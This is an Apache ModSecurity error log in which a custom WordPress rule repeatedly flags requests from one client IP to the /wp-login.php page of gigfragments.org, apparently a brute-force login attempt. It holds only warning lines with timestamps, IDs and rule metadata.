[Sun Mar 01 23:44:03.978869 2026] [:error] [pid 38241:tid 38251] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRew_KRPk6YnJBxw_xZPQAAAMc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:06.095035 2026] [:error] [pid 38241:tid 38246] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRexvKRPk6YnJBxw_xZQAAAAMI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:08.799821 2026] [:error] [pid 38241:tid 38263] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReyPKRPk6YnJBxw_xZUQAAANM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:10.972810 2026] [:error] [pid 38241:tid 38261] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaReyvKRPk6YnJBxw_xZYAAAANE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:13.712871 2026] [:error] [pid 38241:tid 38244] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRezfKRPk6YnJBxw_xZaQAAAMA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:15.642509 2026] [:error] [pid 38241:tid 38268] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRez_KRPk6YnJBxw_xZbAAAANg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:18.343764 2026] [:error] [pid 38241:tid 38254] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe0vKRPk6YnJBxw_xZbwAAAMo"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:20.023834 2026] [:error] [pid 38241:tid 38249] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe1PKRPk6YnJBxw_xZcAAAAMU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:22.681781 2026] [:error] [pid 38241:tid 38246] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe1vKRPk6YnJBxw_xZcwAAAMI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:24.423713 2026] [:error] [pid 38241:tid 38261] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe2PKRPk6YnJBxw_xZdAAAANE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:27.081066 2026] [:error] [pid 38241:tid 38267] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe2_KRPk6YnJBxw_xZdwAAANc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:28.987004 2026] [:error] [pid 38241:tid 38255] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe3PKRPk6YnJBxw_xZeQAAAMs"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:31.714739 2026] [:error] [pid 38241:tid 38251] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe3_KRPk6YnJBxw_xZfAAAAMc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:33.406873 2026] [:error] [pid 38241:tid 38244] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe4fKRPk6YnJBxw_xZfQAAAMA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:35.979804 2026] [:error] [pid 38241:tid 38268] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe4_KRPk6YnJBxw_xZgAAAANg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:37.626515 2026] [:error] [pid 38241:tid 38252] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe5fKRPk6YnJBxw_xZggAAAMg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:40.252056 2026] [:error] [pid 38241:tid 38261] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe6PKRPk6YnJBxw_xZhwAAANE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:42.282716 2026] [:error] [pid 38241:tid 38262] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe6vKRPk6YnJBxw_xZiAAAANI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:44.999873 2026] [:error] [pid 38241:tid 38263] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe7PKRPk6YnJBxw_xZiwAAANM"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:46.862451 2026] [:error] [pid 38241:tid 38266] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe7vKRPk6YnJBxw_xZkgAAANY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:49.525349 2026] [:error] [pid 38241:tid 38246] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe8fKRPk6YnJBxw_xZlwAAAMI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:51.532222 2026] [:error] [pid 38241:tid 38255] [client 5.189.188.55:55931] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe8_KRPk6YnJBxw_xZnAAAAMs"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:55.274304 2026] [:error] [pid 7165:tid 7191] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe9xRjCrA8qWBjgG_JPgAAAlg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:44:57.296491 2026] [:error] [pid 7165:tid 7173] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe-RRjCrA8qWBjgG_JRQAAAkY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:00.128324 2026] [:error] [pid 7165:tid 7189] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe_BRjCrA8qWBjgG_JTAAAAlY"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:02.264026 2026] [:error] [pid 7165:tid 7172] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRe_hRjCrA8qWBjgG_JTgAAAkU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:05.062373 2026] [:error] [pid 7165:tid 7174] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfARRjCrA8qWBjgG_JVAAAAkc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:07.312178 2026] [:error] [pid 7165:tid 7188] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfAxRjCrA8qWBjgG_JVgAAAlU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:10.049927 2026] [:error] [pid 7165:tid 7180] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfBhRjCrA8qWBjgG_JWwAAAk0"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:12.161795 2026] [:error] [pid 7165:tid 7177] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfCBRjCrA8qWBjgG_JXQAAAko"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:15.531756 2026] [:error] [pid 7165:tid 7191] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfCxRjCrA8qWBjgG_JZAAAAlg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:17.279449 2026] [:error] [pid 7165:tid 7185] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfDRRjCrA8qWBjgG_JagAAAlI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:20.039240 2026] [:error] [pid 7165:tid 7179] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfEBRjCrA8qWBjgG_JdQAAAkw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:22.202550 2026] [:error] [pid 7165:tid 7184] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfEhRjCrA8qWBjgG_JhAAAAlE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:24.939489 2026] [:error] [pid 7165:tid 7178] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfFBRjCrA8qWBjgG_JkQAAAks"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:26.982081 2026] [:error] [pid 7165:tid 7171] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfFhRjCrA8qWBjgG_JmgAAAkQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:29.720035 2026] [:error] [pid 7165:tid 7176] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfGRRjCrA8qWBjgG_JnwAAAkk"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:31.671666 2026] [:error] [pid 7165:tid 7190] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfGxRjCrA8qWBjgG_JoQAAAlc"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:34.393524 2026] [:error] [pid 7165:tid 7185] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfHhRjCrA8qWBjgG_JpgAAAlI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:36.388242 2026] [:error] [pid 7165:tid 7184] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfIBRjCrA8qWBjgG_JpwAAAlE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:39.111917 2026] [:error] [pid 7165:tid 7183] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfIxRjCrA8qWBjgG_JrAAAAlA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:40.888775 2026] [:error] [pid 7165:tid 7177] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfJBRjCrA8qWBjgG_JrgAAAko"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:43.626910 2026] [:error] [pid 7165:tid 7191] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfJxRjCrA8qWBjgG_JsAAAAlg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:45.732309 2026] [:error] [pid 7165:tid 7168] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfKRRjCrA8qWBjgG_JtAAAAkE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:48.523460 2026] [:error] [pid 7165:tid 7188] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfLBRjCrA8qWBjgG_JtgAAAlU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:50.372734 2026] [:error] [pid 7165:tid 7185] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfLhRjCrA8qWBjgG_JtwAAAlI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:53.110539 2026] [:error] [pid 7165:tid 7183] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfMRRjCrA8qWBjgG_JvgAAAlA"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:54.888204 2026] [:error] [pid 7165:tid 7175] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfMhRjCrA8qWBjgG_JvwAAAkg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:57.608776 2026] [:error] [pid 7165:tid 7191] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfNRRjCrA8qWBjgG_JwgAAAlg"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:45:59.577986 2026] [:error] [pid 7165:tid 7188] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfNxRjCrA8qWBjgG_JxgAAAlU"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:02.538151 2026] [:error] [pid 7165:tid 7179] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfOhRjCrA8qWBjgG_JzQAAAkw"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:04.640644 2026] [:error] [pid 7165:tid 7171] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfPBRjCrA8qWBjgG_J2gAAAkQ"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:07.528560 2026] [:error] [pid 7165:tid 7184] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfPxRjCrA8qWBjgG_J8AAAAlE"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:09.688300 2026] [:error] [pid 7165:tid 7185] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfQRRjCrA8qWBjgG_J-wAAAlI"], referer: https://gigfragments.org/wp-login.php
[Sun Mar 01 23:46:13.061713 2026] [:error] [pid 7165:tid 7170] [client 5.189.188.55:54997] [client 5.189.188.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.188.55, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaRfRRRjCrA8qWBjgG_KCQAAAkM"], referer: https://gigfragments.org/wp-login.php
